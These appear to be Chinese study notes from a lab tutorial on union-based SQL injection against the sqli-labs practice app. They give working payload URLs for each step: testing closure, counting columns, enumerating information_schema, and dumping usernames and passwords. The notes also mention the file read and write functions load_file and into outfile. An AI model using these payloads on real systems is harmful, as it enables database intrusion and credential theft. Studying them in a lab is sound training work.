备灾服务器,作为服务器的备份而存在,会定时备份,防止重要资料丢失,同时也能为服务器提供能源,如果原本的服务器坏了,可使用备份服务器提供服务
SQL注入属于高危漏洞的一种,如果产生此类漏洞,则可通过在服务器原本的SQL语句中注入恶意语句控制对方服务器的数据库
http://192.168.194.98/sqlilabs/Less-1/?id=1 ' union select 1,2,3 -- -
就相当于在数据库里面查询:
MySql>>> select * from users where id =1 union select 1,2,3;
基本操作
http://192.168.194.98/sqlilabs/Less-1/?id=1 //其中?用于传递参数
//此时,在数据库执行下列语句
SELECT * FROM users WHERE id='2' LIMIT 0,1
//单引号——99%的程序语言里的特殊字符,用于把特殊字符变成没有实际意义的字符串
http://192.168.194.98/sqlilabs/Less-1/?id=1 xxxxxx
//后面跟再多的字符,因为它都处于单引号的里面,处理为没有实际意义的字符串
//一般id设为int类型,会把输入强转为int类型,从不能转化的那一位后面的全部舍弃
//单双引号,大小括号都是成对出现的,不成对就会报错,因为它不满足MySql的语法
//一、SQL注入的话,要进行注释——“-- -”,凡是出现杠杠空杠,它后面的语句将不再执行
http://192.168.194.98/sqlilabs/Less-1/?id=1'-- -
//如果只是加单引号,则会因为单引号不成对而报错,加了-- -之后
//就会注释掉原本在数据库执行的limit语句
//由于limit是限制会显得数据的条数的,所以没有也不会影响程序的执行和对数据的操作
//二、SQL注入——使条件始终为真
http://192.168.194.98/sqlilabs/Less-1/?id=1'and 1=1-- -
//此时使id=1和1=1之中有一个条件为真就可以进入,设置的条件为假时,无法进入,则SQL注入成功
//如果注入?id=1'and 1=2-- - 在此与运算(and为逻辑判断符)中,一假为假,则此时不会回显
单引号如果没有的话,无论注入什么,都会被解释为没有实际意义的文本,此时注入什么都是一样的
其实就是没有——闭合
实战中,不会出现SQL语句,看不到源码的话,一般按照直接注入,单引号,双引号,括号等顺序一个一个猜,直到闭合后注入逻辑判断语句的回显不同,此时大概率就注入成功了
漏洞原理
用户——服务端——数据库
对SQL注入的理解(原理)
开发者过分相信用户输入,没有对用户可控的参数进行过滤和校验,导致了SQL注入的产生,使数据库被黑客窃取
SQL常用函数
- version(): 查询数据库的版本
- user():查询数据库的使用者
- database():数据库
- system_user():系统用户名
- session_user():连接数据库的用户名
- current_user:当前用户名
- @@datadir:读取数据库路径
- @@basedir:mysql安装路径
- group_concat(): 连接一个组的所有字符串,并以逗号分隔每一条数据
- load_file(): 读取文件
- into outfile: 写入文件
- ascii() :字符串的ASCII代码值
- substr(): 返回字符串的一部分
- length(): 返回字符串的长度
- sleep(): 让此语句运行N秒钟
例—— http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,database(),version() --+
load_file("文件路径/名称"),如果遇到不能直接带出的情况,可使用hex()函数编码带出,然后通过解码得到文件内容
实战脱库
首先使其闭合,可以使用与运算,也可以使用或运算。如果注入 and 1=1 和 and 1=2的回显不同,则此处存在SQL注入
5.0之后的MySql里面自带了一个系统库——information_schema,它包含了MySql里的所有的库表列字段
- table_schema——数据表的库名
- table_name——数据表的表名
数据库厂家需要提高访问速度以增加竞争力,抢占市场份额,加了系统库之后就会使访问速度加快,但有利也有弊,系统库也为黑客攻击提供了便利条件
- union联合查询:合并多个语句查询的结果集,只能查询,不能删除和修改
- order by:以某一列的数据作为排序标准进行排序
- information_schema()
- information_schema.tables表里面的列 table_schema:数据库名,table_name:数据表名
- information_schema.column表里面的列:table_schema:表名,table_name:列名
- information_schema.tables表里面的列 table_schema:数据库名,table_name:数据表名
- group_concat() 函数在表名很多或者很长的时候,可能会因为前端限制显示不全,此时还是需要使用 limit 限制输出
攻击脱数据的步骤
第一步 —— and 1=1——>判断有无SQL注入
http://192.168.194.98/sqlilabs/Less-1/?id=1’and 1=1-- - //判断是否存在注入点
第二步 —— order by 1——>判断数据表有几列
http://192.168.194.98/sqlilabs/Less-1/?id=1’order by 1-- -
//order by 1,在MySql中用于排序,此时是按照第一列进行排序,order by 2则是按照第二列进行排序
//当输入order by n,显示错误,无回显或者和之前显示的东西不一样的时候,可以判断此数据表有n-1列
//eg:输入order by 4时,回显异常,则此数据表只有三列
第三步 —— union select 1,2,3 联合查询
http://192.168.194.98/sqlilabs/Less-1/?id=1’union select 1,2,3-- -
//保证联合查询的列数和 order by n 查出来的数据表的列数相同
//其中,“2,3”相当于占位符
//当前的查询有两个 —— 一个是正常的账号密码查询,一个是注入的查询,但一般只会有一组回显点
//该回显点首先会显示正常的账号密码查询,为了使注入的查询顺利脱到数据,要让正常的查询产生异常
//让查询的id不存在,此时就查不出来了,就会进行注入的查询
http://192.168.194.98/sqlilabs/Less-1/?id=-1’union select 1,2,3-- -
第四步 —— 查当前数据库的名字
http://192.168.194.98/sqlilabs/Less-1/?id=-1’union select 1,database(),3-- -
第五步 —— 爆表
//通过原有的SQL语句,帮助我们查询信息
http://192.168.194.98/sqlilabs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- -
//也可以在information_schema里面的columns表里面的table_name,但是此处按字段会多次显示同一表名
//http://192.168.194.98/sqlilabs/Less-1/?id=-1' union select 1,(select group_concat(table_name)),3 from information_schema.tables where table_schema=database() -- -
//理解:group_concat(table_name)以组的形式展示数据库的表名,如果不加,只会显示第一个
//from information_schema.tables
//从系统库information_schema里查询table_schema=database()数据库为当前数据库的表
//系统库在你新建一个MySql之后就会默认安装好,包含当前数据库的所有信息
第六步 —— 爆列
http://192.168.194.98/sqlilabs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" -- -
//修改表名为列名,实战应该只会查出来一个users
第七步 —— 爆列
http://192.168.194.98/sqlilabs/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users -- -
//此时就会查出来账号密码,但由于账号密码会连在一起,所以中间加个0x3a,hex编码,意思是冒号
联合查询,以组的形式显示表名,从信息索引的所有表里面,查询那些表的索引属于当前数据库的
爆库的时候,占位符2要消掉,不然会出错,库名出不来;爆表的时候,3 必须要加上,不然原来的一组显示框就会有空的栏目,也会报错
爆表的时候,联合查询的2,3是占位符——联合显示列数必须相等,必须要加,尤其是3,如果不加的话,就会报错